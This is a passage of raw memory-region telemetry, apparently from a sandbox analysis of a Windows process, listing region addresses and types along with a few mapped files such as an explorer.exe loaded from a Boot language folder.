entry_point = 0x0 region_type = private name = "private_0x000000001d830000" filename = "" Region: id = 7640 start_va = 0x1d840000 end_va = 0x1d84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d840000" filename = "" Region: id = 7641 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 7642 start_va = 0x1d860000 end_va = 0x1d86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d860000" filename = "" Region: id = 7643 start_va = 0x1d870000 end_va = 0x1d87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d870000" filename = "" Region: id = 7644 start_va = 0x1d880000 end_va = 0x1d89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d880000" filename = "" Region: id = 7645 start_va = 0x1d8a0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8a0000" filename = "" Region: id = 7646 start_va = 0x1e0e0000 end_va = 0x1e10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e0e0000" filename = "" Region: id = 7647 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 7648 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 7649 start_va = 0x1e110000 end_va = 0x1e11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e110000" filename = "" Region: id = 7650 start_va = 0x1dbe0000 end_va = 0x1dbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbe0000" filename = "" Region: id = 7652 start_va = 0x1dbe0000 end_va = 0x1dbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbe0000" filename = "" Region: id = 7653 start_va = 0x1dbf0000 end_va = 0x1dbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbf0000" filename = "" Region: id = 7654 start_va = 0x1dc00000 end_va = 0x1dc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc00000" filename = "" Region: id = 7655 start_va = 0x1dc10000 end_va = 0x1dc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc10000" filename = "" Region: id = 7656 start_va = 0x1d810000 end_va = 0x1d81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d810000" filename = "" Region: id = 7657 start_va = 0x1dbe0000 end_va = 0x1dbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbe0000" filename = "" Region: id = 7658 start_va = 0x1dbf0000 end_va = 0x1dbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbf0000" filename = "" Region: id = 7659 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7660 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7661 start_va = 0x1dbe0000 end_va = 0x1ddd2fff monitored = 1 entry_point = 0x1ddd131e region_type = mapped_file name = "explorer.exe" filename = "\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe") Region: id = 7663 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7664 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7665 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7666 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7667 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7668 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7669 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7670 start_va = 0x1dbe0000 end_va = 0x1ddd2fff monitored = 1 entry_point = 0x1ddd131e region_type = mapped_file name = "explorer.exe" filename = "\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe") Region: id = 7672 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7673 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7674 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7675 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7676 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7678 start_va = 0x1dbe0000 end_va = 0x1ddd2fff monitored = 1 entry_point = 0x1ddd131e region_type = mapped_file name = "explorer.exe" filename = "\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe") Region: id = 7679 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7680 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7681 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7682 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7683 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7684 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7685 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7686 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7687 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7689 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7690 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7691 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7692 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7693 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7695 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7696 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7697 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7698 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7700 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7701 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7702 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7703 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7704 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7705 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 7706 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7772 start_va = 0x7ff9ff560000 end_va = 0x7ff9ff56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff560000" filename = "" Region: id = 7773 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7774 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7775 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7776 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7780 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7781 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7782 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7794 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7795 start_va = 0x1e0e0000 end_va = 0x1e1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e0e0000" filename = "" Region: id = 7796 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7797 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7798 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7799 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7802 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7803 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7804 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7805 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 7806 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 7807 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7808 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7809 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7810 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7813 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7814 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7815 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7816 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7817 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7818 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7819 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7820 start_va = 0x1e1e0000 end_va = 0x1e2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1e0000" filename = "" Region: id = 7821 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7822 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7826 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7827 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7828 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7829 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7830 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7831 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7832 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 7833 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7834 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7836 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7837 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7838 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7839 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7840 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7841 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7842 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7843 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7844 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7845 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 7846 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7847 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7848 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 7850 start_va = 0x1d800000 end_va = 0x1d80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d800000" filename = "" Region: id = 7851 start_va = 0x1d800000 end_va = 0x1d80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d800000" filename = "" Region: id = 7852 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7853 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7854 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7855 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7856 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7858 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7859 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7860 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7861 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7862 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7863 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7865 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7866 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7867 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7868 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7869 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7870 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7871 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7872 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7873 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7874 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7875 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7877 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7878 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7879 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7880 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7881 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7882 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7883 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7884 start_va = 0x7ffa5f5a0000 end_va = 0x7ffa5f5c6fff monitored = 1 entry_point = 0x7ffa5f5adfc0 region_type = mapped_file name = "corperfmonext.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CORPerfMonExt.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\corperfmonext.dll") Region: id = 7886 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7887 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7888 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7889 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 7890 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 7891 start_va = 0x1d6e0000 end_va = 0x1d6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d6e0000" filename = "" Region: id = 7892 start_va = 0x7ffa76be0000 end_va = 0x7ffa76bf2fff monitored = 0 entry_point = 0x7ffa76be2760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 7893 start_va = 0x1d6e0000 end_va = 0x1d6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d6e0000" filename = "" Region: id = 7894 start_va = 0x1e2e0000 end_va = 0x1e3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e2e0000" filename = "" Region: id = 7895 start_va = 0x1d6e0000 end_va = 0x1d6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d6e0000" filename = "" Region: id = 7896 start_va = 0x1e3e0000 end_va = 0x1ebdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e3e0000" filename = "" Region: id = 7897 start_va = 0x1d700000 end_va = 0x1d726fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d700000" filename = "" Region: id = 7898 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7899 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7900 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7901 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7902 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7903 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7904 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7905 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7906 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7907 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7909 start_va = 0x1d710000 end_va = 0x1d71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d710000" filename = "" Region: id = 7910 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7911 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7912 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7913 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 7914 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 7915 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 7916 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 7917 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 7918 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 7919 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 7920 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 7921 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 7922 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 7923 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7924 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7925 start_va = 